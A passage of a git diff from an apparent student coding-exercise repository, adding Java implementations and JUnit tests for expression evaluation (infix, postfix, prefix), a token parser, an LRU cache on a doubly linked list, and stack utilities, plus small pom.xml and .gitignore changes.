+	List<Token> tokens = parser.parse(expr);
+	
+	List<Token> listOfTokens = new ArrayList<>();
+	
+	Stack<Token> opsStack = new Stack<>();
+
+	for (Token token : tokens) {
+
+	    if (token.isNumber()) {
+		listOfTokens.add(token);
+	    } else if (token.isOperator()) { // 还需判断当前操作符和栈顶操作符的优先级
+		if (opsStack.isEmpty()) {
+		    opsStack.push(token);
+		} else {
+		    if (!token.hasHigherPriority(opsStack.peek())) {
+			listOfTokens.add(opsStack.pop());
+		    }
+		    opsStack.push(token);
+		}
+
+	    }
+	}
+	while (!(opsStack.isEmpty())) { // exprStack 为空，但操作符栈还有元素
+	    listOfTokens.add(opsStack.pop());
+	}
+	return listOfTokens;
+    }
+
+    public static void main(String[] args) {
+	InfixToPostfix toPostfix = new InfixToPostfix();
+	List<Token> t = new ArrayList<Token>();
+	String expr = "3+20+12*5+40/2";
+	t = toPostfix.convert(expr);
+	System.out.println("expr: " + expr);
+	System.out.println("PostfixExpr: " + t);
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PostfixExpr.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..49bebad1a7
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PostfixExpr.java
@@ -0,0 +1,54 @@
+package com.github.HarryHook.coding2017.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+    String expr = null;
+
+    public PostfixExpr(String expr) {
+	this.expr = expr;
+    }
+
+    public float evaluate() {
+
+	TokenParser parser = new TokenParser();
+	List<Token> tokens = parser.parse(this.expr);
+
+	Stack<Float> numStack = new Stack<>();
+	for (Token token : tokens) {
+
+	    if (token.isNumber()) {
+		numStack.push(new Float(token.getIntValue()));
+	    } else {
+		Float f2 = numStack.pop();
+		Float f1 = numStack.pop();
+		numStack.push(calculate(token.toString(), f1, f2));
+	    }
+	}
+	return numStack.pop().floatValue();
+    }
+
+    // 注意，此时计算的顺序和前序的次序相反
+    private Float calculate(String op, Float f1, Float f2) {
+	if (op.equals("+")) {
+	    return f1 + f2;
+	}
+	if (op.equals("-")) {
+	    return f1 - f2;
+	}
+	if (op.equals("*")) {
+	    return f1 * f2;
+	}
+	if (op.equals("/")) {
+	    return f1 / f2;
+	}
+	throw new RuntimeException(op + " is not supported");
+    }
+
+    public static void main(String[] args) {
+	PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+	System.out.println("The result of the expression: " + expr.evaluate());
+    }
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PostfixExprTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..7e78fa3997
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PostfixExprTest.java
@@ -0,0 +1,37 @@
+package com.github.HarryHook.coding2017.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PostfixExprTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+	{
+	    PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+	    Assert.assertEquals(288, expr.evaluate(), 0.0f);
+	}
+	{
+	    // 9+(3-1)*3+10/2
+	    PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+	    Assert.assertEquals(20, expr.evaluate(), 0.0f);
+	}
+
+	{
+	    // 10-2*3+50
+	    PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+	    Assert.assertEquals(54, expr.evaluate(), 0.0f);
+	}
+    }
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PrefixExpr.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..d93b6e32fe
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PrefixExpr.java
@@ -0,0 +1,58 @@
+package com.github.HarryHook.coding2017.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+    String expr = null;
+
+    public PrefixExpr(String expr) {
+	this.expr = expr;
+    }
+
+    public float evaluate() {
+
+	TokenParser parser = new TokenParser();
+	List<Token> tokens = parser.parse(this.expr);
+
+	Stack<Token> exprStack = new Stack<>();
+	Stack<Float> numStack = new Stack<>();
+	for (Token token : tokens) {
+	    exprStack.push(token);
+	}
+	System.out.println(tokens);
+	while (!exprStack.isEmpty()) {
+	    Token t = exprStack.pop();
+	    if (t.isNumber()) {
+		numStack.push(new Float(t.getIntValue()));
+	    } else if(t.isOperator()){
+		Float f1 = numStack.pop();
+		Float f2 = numStack.pop();
+		numStack.push(calculate(t.toString(), f1, f2));
+	    }
+	}
+	return numStack.pop().floatValue();
+    }
+
+    private Float calculate(String op, Float f1, Float f2) {
+	if (op.equals("+")) {
+	    return f1 + f2;
+	}
+	if (op.equals("-")) {
+	    return f1 - f2;
+	}
+	if (op.equals("*")) {
+	    return f1 * f2;
+	}
+	if (op.equals("/")) {
+	    return f1 / f2;
+	}
+	throw new RuntimeException(op + " is not supported");
+    }
+
+    public static void main(String[] args) {
+	PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+	System.out.println("The result of the expression: " + expr.evaluate());
+    }
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PrefixExprTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..3dbef83ca2
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PrefixExprTest.java
@@ -0,0 +1,43 @@
+package com.github.HarryHook.coding2017.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PrefixExprTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+	{
+	    // 2*3+4*5
+	    PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5"); 
+	    Assert.assertEquals(26, expr.evaluate(), 0.001f);
+	}
+	{
+	    // 4*2 + 6+9*2/3 -8
+	    PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+	    Assert.assertEquals(12, expr.evaluate(), 0.001f);
+	}
+	{
+	    // (3+4)*5-6
+	    PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+	    Assert.assertEquals(29, expr.evaluate(), 0.001f);
+	}
+	{
+	    // 1+((2+3)*4)-5
+	    PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+	    Assert.assertEquals(16, expr.evaluate(), 0.001f);
+	}
+
+    }
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/Token.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/Token.java
new file mode 100644
index 0000000000..097d635bd2
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/Token.java
@@ -0,0 +1,50 @@
+package com.github.HarryHook.coding2017.stack.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+    public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+    private static final Map<String, Integer> priorities = new HashMap<>();
+    static {
+	priorities.put("+", 1);
+	priorities.put("-", 1);
+	priorities.put("*", 2);
+	priorities.put("/", 2);
+    }
+    static final int OPERATOR = 1;
+    static final int NUMBER = 2;
+    String value;
+    int type;
+
+    public Token(int type, String value) {
+	this.type = type;
+	this.value = value;
+    }
+
+    public boolean isNumber() {
+	return type == NUMBER;
+    }
+
+    public boolean isOperator() {
+	return type == OPERATOR;
+    }
+
+    public int getIntValue() {
+	return Integer.valueOf(value).intValue();
+    }
+
+    public String toString() {
+	return value;
+    }
+
+    public boolean hasHigherPriority(Token t) {
+	if (!this.isOperator() && !t.isOperator()) {
+	    throw new RuntimeException("numbers can't compare priority");
+	}
+	return priorities.get(this.value) - priorities.get(t.value) > 0;
+    }
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/TokenParser.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..8d520fd68a
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/TokenParser.java
@@ -0,0 +1,56 @@
+package com.github.HarryHook.coding2017.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+
+    public List<Token> parse(String expr) {
+	List<Token> tokens = new ArrayList<>();
+
+	int i = 0;
+
+	while (i < expr.length()) {
+
+	    char c = expr.charAt(i);
+
+	    if (isOperator(c)) {
+
+		Token t = new Token(Token.OPERATOR, String.valueOf(c));
+		tokens.add(t);
+		i++;
+
+	    } else if (Character.isDigit(c)) {
+
+		int nextOperatorIndex = indexOfNextOperator(i, expr);
+		String value = expr.substring(i, nextOperatorIndex);
+		Token t = new Token(Token.NUMBER, value);
+		tokens.add(t);
+		i = nextOperatorIndex;
+
+	    } else {
+		System.out.println("char :[" + c + "] is not number or operator,ignore");
+		i++;
+	    }
+
+	}
+	return tokens;
+    }
+
+    private int indexOfNextOperator(int i, String expr) {
+
+	while (Character.isDigit(expr.charAt(i))) {
+	    i++;
+	    if (i == expr.length()) {
+		break;
+	    }
+	}
+	return i;
+
+    }
+
+    private boolean isOperator(char c) {
+	String sc = String.valueOf(c);
+	return Token.OPERATORS.contains(sc);
+    }
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/TokenParserTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..3067467a10
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/TokenParserTest.java
@@ -0,0 +1,39 @@
+package com.github.HarryHook.coding2017.stack.expr;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void test() {
+
+	TokenParser parser = new TokenParser();
+	List<Token> tokens = parser.parse("300*20+12*5-20/4");
+
+	Assert.assertEquals(300, tokens.get(0).getIntValue());
+	Assert.assertEquals("*", tokens.get(1).toString());
+	Assert.assertEquals(20, tokens.get(2).getIntValue());
+	Assert.assertEquals("+", tokens.get(3).toString());
+	Assert.assertEquals(12, tokens.get(4).getIntValue());
+	Assert.assertEquals("*", tokens.get(5).toString());
+	Assert.assertEquals(5, tokens.get(6).getIntValue());
+	Assert.assertEquals("-", tokens.get(7).toString());
+	Assert.assertEquals(20, tokens.get(8).getIntValue());
+	Assert.assertEquals("/", tokens.get(9).toString());
+	Assert.assertEquals(4, tokens.get(10).getIntValue());
+    }
+
+}
\ No newline at end of file
diff --git a/group02/812350401/.gitignore b/group02/812350401/.gitignore
index 0a2df7bbee..8380fddb34 100644
--- a/group02/812350401/.gitignore
+++ b/group02/812350401/.gitignore
@@ -1,4 +1,7 @@
 target/
 .idea/
 src/main/java/train/
-src/main/resources/
\ No newline at end of file
+!src/main/resources/**/*.class
+!src/main/resources/**/*.xml
+src/main/resources/**/*.png
+src/main/java/assignments
diff --git a/group02/812350401/pom.xml b/group02/812350401/pom.xml
index 9a637781ce..596d874817 100644
--- a/group02/812350401/pom.xml
+++ b/group02/812350401/pom.xml
@@ -7,6 +7,7 @@
     <groupId>coding2017</groupId>
     <artifactId>812350401</artifactId>
     <version>1.0-SNAPSHOT</version>
+    <packaging>jar</packaging>
     <build>
         <plugins>
             <plugin>
@@ -32,7 +33,32 @@
             <artifactId>dom4j</artifactId>
             <version>1.6.1</version>
         </dependency>
+        <dependency>
+            <groupId>org.jetbrains</groupId>
+            <artifactId>annotations</artifactId>
+            <version>RELEASE</version>
+        </dependency>
+        <!-- https://mvnrepository.com/artifact/commons-io/commons-io -->
+        <dependency>
+            <groupId>commons-io</groupId>
+            <artifactId>commons-io</artifactId>
+            <version>2.5</version>
+        </dependency>
+        <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 -->
+        <dependency>
+            <groupId>org.apache.commons</groupId>
+            <artifactId>commons-lang3</artifactId>
+            <version>3.4</version>
+        </dependency>
+        <!-- https://mvnrepository.com/artifact/io.reactivex.rxjava2/rxjava -->
+        <dependency>
+            <groupId>io.reactivex.rxjava2</groupId>
+            <artifactId>rxjava</artifactId>
+            <version>2.0.8</version>
+        </dependency>
+
     </dependencies>
 
 
+
 </project>
\ No newline at end of file
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/Stack.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/Stack.java
deleted file mode 100644
index ddfe76f774..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/Stack.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.github.miniyk2012.coding2017.basic;
-
-public class Stack {
-	
-	// 栈顶  《-》 1，2，3，4 栈底
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){		
-		elementData.add(0, o);
-	}
-	
-	public Object pop(){
-		return elementData.remove(0);
-	}
-	
-	public Object peek(){
-		return elementData.get(0);
-	}
-	public boolean isEmpty(){
-		return elementData.size() == 0;
-	}
-	public int size(){
-		return elementData.size();
-	}
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/linklist/LRUPageFrame.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..b29b385d31
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/linklist/LRUPageFrame.java
@@ -0,0 +1,148 @@
+package com.github.miniyk2012.coding2017.basic.linklist;
+
+/**
+ * 用双向链表实现LRU算法
+ * @author liuxin
+ *
+ */
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+
+		Node(int pageNum) {
+		    this.pageNum = pageNum;
+        }
+	}
+
+	private int capacity;
+	private int size;
+	
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param pageNum: page值
+	 * @return
+	 */
+	public void access(int pageNum) {
+        Node hitNode = get(pageNum);
+        if (null == hitNode) {
+            hitNode = new Node(pageNum);
+            addTop(hitNode);
+            if (size > capacity) {
+                delBottom();
+            }
+        } else {
+            switchTop(hitNode);
+        }
+	}
+
+    /**
+     * 获取值为pageNum的Node，如果没有返回null
+     * @param pageNum
+     * @return
+     */
+	private Node get(int pageNum) {
+	    Node currentNode = first;
+		while (currentNode != null) {
+		    if (currentNode.pageNum == pageNum) return currentNode;
+		    currentNode = currentNode.next;
+        }
+        return null;
+	}
+
+    /**
+     * 往顶部放一个Node
+     * @param node
+     */
+	private void addTop(Node node) {
+        size++;
+        if (first == null) {
+            first = last = node;
+        } else {
+            node.next = first;
+            first.prev = node;
+            first = node;
+        }
+	}
+
+    /**
+     * 把node和顶部做交换
+     * @param node
+     */
+	private void switchTop(Node node) {
+        if (node == first) return;
+        Node preNode = node.prev;
+        Node nextNode = node.next;
+        preNode.next = nextNode;
+        if (nextNode != null) {
+            nextNode.prev = preNode;
+        } else {
+            last = preNode;
+        }
+        node.next = node.prev = null;
+        addTop(node);
+        size--;
+    }
+
+    /**
+     * 把底部的踢掉
+     */
+    private void delBottom() {
+        size--;
+        if (last == first) first = null;
+        Node temp = last;
+        last = last.prev;
+        temp.prev = null;
+        last.next = null;
+    }
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+
+    /**
+     * 测试双向链表逆序输出
+     * @return
+     */
+    public String lastToString(){
+        StringBuilder buffer = new StringBuilder();
+        Node node = last;
+        while(node != null){
+            buffer.append(node.pageNum);
+
+            node = node.prev;
+            if(node != null){
+                buffer.append(",");
+            }
+        }
+        return buffer.toString();
+    }
+	
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/linklist/LRUPageFrameTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..9f93ca8fc6
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/linklist/LRUPageFrameTest.java
@@ -0,0 +1,62 @@
+package com.github.miniyk2012.coding2017.basic.linklist;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		Assert.assertEquals("0,7", frame.toString());
+		Assert.assertEquals("7,0", frame.lastToString());
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		Assert.assertEquals("7,0,1", frame.lastToString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		Assert.assertEquals("0,1,2", frame.lastToString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		Assert.assertEquals("1,2,0", frame.lastToString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		Assert.assertEquals("1,2,0", frame.lastToString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		Assert.assertEquals("2,0,3", frame.lastToString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		Assert.assertEquals("2,3,0", frame.lastToString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+		Assert.assertEquals("3,0,4", frame.lastToString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+		Assert.assertEquals("3,0,4", frame.lastToString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+		Assert.assertEquals("3,0,4", frame.lastToString());
+		frame.access(0);
+		Assert.assertEquals("0,4,3", frame.toString());
+		Assert.assertEquals("3,4,0", frame.lastToString());
+		frame.access(7);
+		Assert.assertEquals("7,0,4", frame.toString());
+		Assert.assertEquals("4,0,7", frame.lastToString());
+		frame.access(4);
+		Assert.assertEquals("4,7,0", frame.toString());
+		Assert.assertEquals("0,7,4", frame.lastToString());
+
+		LRUPageFrame frame2 = new LRUPageFrame(1);
+		Assert.assertEquals("", frame2.toString());
+		frame2.access(7);
+		Assert.assertEquals("7", frame2.toString());
+		frame2.access(0);
+		Assert.assertEquals("0", frame2.toString());
+	}
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/Stack.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/Stack.java
new file mode 100644
index 0000000000..19cd662268
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/Stack.java
@@ -0,0 +1,43 @@
+package com.github.miniyk2012.coding2017.basic.stack;
+
+import com.github.miniyk2012.coding2017.basic.ArrayList;
+
+public class Stack {
+	
+	// 栈顶  《-》 1，2，3，4 栈底
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){		
+		elementData.add(0, o);
+	}
+
+	// 如果队列已经没有值了，则抛出ArrayIndexOutOfBoundsException的异常
+	public Object pop(){
+	    try {
+            return elementData.remove(0);
+        } catch (Exception e) {
+	        throw new NullStackException();
+        }
+	}
+	
+	public Object peek(){
+		return elementData.get(0);
+	}
+	public boolean isEmpty(){
+		return elementData.size() == 0;
+	}
+	public int size(){
+		return elementData.size();
+	}
+
+	public static void main(String[] args) {
+		Stack s = new Stack();
+		s.pop();
+	}
+
+	public static class NullStackException extends RuntimeException {
+	    NullStackException() {
+	        super("Null Stack!");
+        }
+    }
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/StackUtil.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..c4e253d92b
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/StackUtil.java
@@ -0,0 +1,158 @@
+package com.github.miniyk2012.coding2017.basic.stack;
+
+import com.github.miniyk2012.coding2017.basic.Queue;
+import java.util.*;
+
+/**
+ * Created by thomas_young on 5/4/2017.
+ */
+public class StackUtil {
+
+
+    /**
+     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     */
+    public static void reverse(Stack s) {
+        Queue q = new Queue();
+        while (!s.isEmpty()) {
+            q.enQueue(s.pop());
+        }
+        while (!q.isEmpty()) {
+            s.push(q.deQueue());
+        }
+    }
+
+    /**
+     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     *
+     * @param o
+     */
+    public static void remove(Stack s,Object o) {
+        Stack tempS = new Stack();
+        boolean found = false;
+        while (!s.isEmpty()) {
+            if (!found && Objects.equals(s.peek(), o)) {
+                s.pop();
+                found = true;
+            } else {
+                tempS.push(s.pop());
+            }
+        }
+        while (!tempS.isEmpty()) {
+            s.push(tempS.pop());
+        }
+    }
+
+    /**
+     * 从栈顶取得len个元素, 原来的栈中元素保持不变
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     * @param len
+     * @return
+     */
+    public static Object[] getTop(Stack s, int len) {
+        if (len < 0) {
+            return null;
+        }
+        Stack tempS = new Stack();
+        while (tempS.size()<len && !s.isEmpty()) {
+            tempS.push(s.pop());
+        }
+        int actualLen = tempS.size();
+        Object[] o = new Object[actualLen];
+        int i = actualLen;
+        while (!tempS.isEmpty()) {
+            Object temp = tempS.pop();
+            o[--i] = temp;
+            s.push(temp);
+        }
+
+        return o;
+    }
+
+    /**
+     * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+     * 使用堆栈检查字符串s中的括号是不是成对出现的。
+     * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+     * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+     * @param s
+     * @return
+     */
+    public static boolean isValidPairs(String s){
+        Map<String, String> matchBrackets = new HashMap<String, String>() {{
+            put("{", "}");
+            put("[", "]");
+            put("(", ")");
+        }};
+
+        Stack stack = new Stack();
+        for (int i=0; i<s.length(); i++) {
+            String c = s.substring(i, i+1);
+            if (matchBrackets.keySet().contains(c)) {
+                stack.push(c);
+            } else if (matchBrackets.values().contains(c)) {
+                try {
+                    String preC = (String) stack.pop();
+                    if (matchBrackets.get(preC).equals(c)) {
+                        continue;
+                    } else {
+                        return false;
+                    }
+                } catch (Stack.NullStackException e) {
+                    return false;
+                }
+            }
+        }
+        if (!stack.isEmpty()) {
+            return false;
+        } else {
+            return true;
+        }
+    }
+
+    public static void main(String[] args) {
+
+        Stack s = new Stack();
+        s.push(1);
+        s.push(2);
+        s.push(3);
+        s.push(4);
+        StackUtil.reverse(s);
+        while (!s.isEmpty()) {
+            System.out.print(s.pop());
+        }
+        System.out.println();
+
+        s.push(1);
+        s.push(2);
+        s.push(3);
+        s.push(4);
+        s.push(2);
+        StackUtil.remove(s, 2);
+        while (!s.isEmpty()) {
+            System.out.print(s.pop());
+        }
+        System.out.println();
+
+        s.push(1);
+        s.push(2);
+        s.push(3);
+        s.push(4);
+        s.push(2);
+        System.out.println(Arrays.toString(StackUtil.getTop(s, 10)));
+
+        System.out.println((isValidPairs("[")));
+        System.out.println((isValidPairs("[]")));
+        System.out.println((isValidPairs("ad[(a{f})]db")));
+        System.out.println((isValidPairs("ad[(a{f))]db")));
+        System.out.println((isValidPairs("ad[(a{f}(saf)((afsdg)))]db")));
+        System.out.println((isValidPairs("ad[))]db")));
+        System.out.println((isValidPairs("(([[[ad[))]db")));
+        System.out.println((isValidPairs("(([[[ad[))]db")));
+        System.out.println((isValidPairs("(()")));
+        System.out.println((isValidPairs("()")));
+        System.out.println((isValidPairs("")));
+        System.out.println((isValidPairs("([e{d}f])")));
+        System.out.println((isValidPairs("([b{x]y})")));
+    }
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExpr.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..92727ce984
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,134 @@
+package com.github.miniyk2012.coding2017.basic.stack.expr;
+
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Stack;
+
+public class InfixExpr {
+	private String expr = null;
+    enum Operator {
+        PLUS("+", 1), SUB("-", 1), MUL("*", 2), DIV("/", 2);  // 优先级越大，说明应该先算
+        private String value;
+        private int priority;
+        Operator(String value, int prioriy) {
+            this.value = value;
+            this.priority = prioriy;
+        }
+        public static Operator parseOperator(String value) {
+            for (Operator c : Operator.values()) {
+                if (c.value.equals(value)) {
+                    return c;
+                }
+            }
+            throw new RuntimeException("运算符不存在");
+        }
+    }
+
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+	private static Token<Float> evaluate(Token<Operator> operator, Token<Float> number1, Token<Float> number2) {
+        float ret;
+        switch (operator.value) {
+            case PLUS:
+                ret = number1.getValue() + number2.getValue();
+                break;
+            case SUB:
+                ret = number1.getValue() - number2.getValue();
+                break;
+            case MUL:
+                ret = number1.getValue() * number2.getValue();
+                break;
+            case DIV:
+                ret = number1.getValue() / number2.getValue();
+                break;
+            default:
+                throw new RuntimeException("运算符不存在");
+        }
+        return new Token(ret, true);
+    }
+
+
+	public float evaluate() {
+        List<Token> tokens= Token.parse(expr);
+        Stack<Token<Float>> numberStack = new Stack<>();
+        Stack<Token<Operator>> operatorStack = new Stack<>();
+        for (Token t : tokens) {
+            if (t.isNumber()) {
+                numberStack.push(t);
+            } else {
+                if (operatorStack.isEmpty()) {
+                    operatorStack.push(t);
+                } else {
+                    Token<Operator> preT = operatorStack.peek();
+                    if ((preT.value).priority >= ((Operator)t.value).priority) {
+                        Token number2 = numberStack.pop();
+                        Token number1 = numberStack.pop();
+                        operatorStack.pop();
+                        numberStack.push(evaluate(preT, number1, number2));
+                    }
+                    operatorStack.push(t);
+
+                }
+            }
+        }
+        while (!operatorStack.isEmpty()) {
+            Token number2 = numberStack.pop();
+            Token number1 = numberStack.pop();
+            Token operator = operatorStack.pop();
+            numberStack.push(evaluate(operator, number1, number2));
+        }
+		return numberStack.pop().getValue();
+	}
+
+
+    private static class Token<T> {
+	    private boolean number;  // 是数字/操作符
+	    private T value;
+	    public boolean isNumber() {
+	        return number;
+        }
+        public T getValue() {
+	        return value;
+        }
+
+        public Token(T value, boolean number) {
+            this.value = value;
+            this.number = number;
+        }
+        public static List<Token> parse(String expr) {
+	        int i = 0;
+	        int size = expr.length();
+            String current;
+            List<Token> tokens = new LinkedList<>();
+            String value = "";
+            while (i < size) {
+                current = expr.substring(i,i+1);
+                if (isOperator(current)) {
+                    tokens.add(new Token(Float.parseFloat(value), true));
+                    value = "";
+                    tokens.add(new Token(Operator.parseOperator(current), false));
+                } else {
+                    value += current;
+                }
+                i++;
+            }
+            tokens.add(new Token(Float.parseFloat(value), true));
+            return tokens;
+        }
+
+        private static boolean isOperator(String value) {
+            for (Operator c : Operator.values()) {
+                if (c.value.equals(value)) {
+                    return true;
+                }
+            }
+            return false;
+        }
+    }
+
+    public static void main(String[] args) {
+
+
+    }
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExprTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..706aaea86e
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,52 @@
+package com.github.miniyk2012.coding2017.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3");
+			Assert.assertEquals(5.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
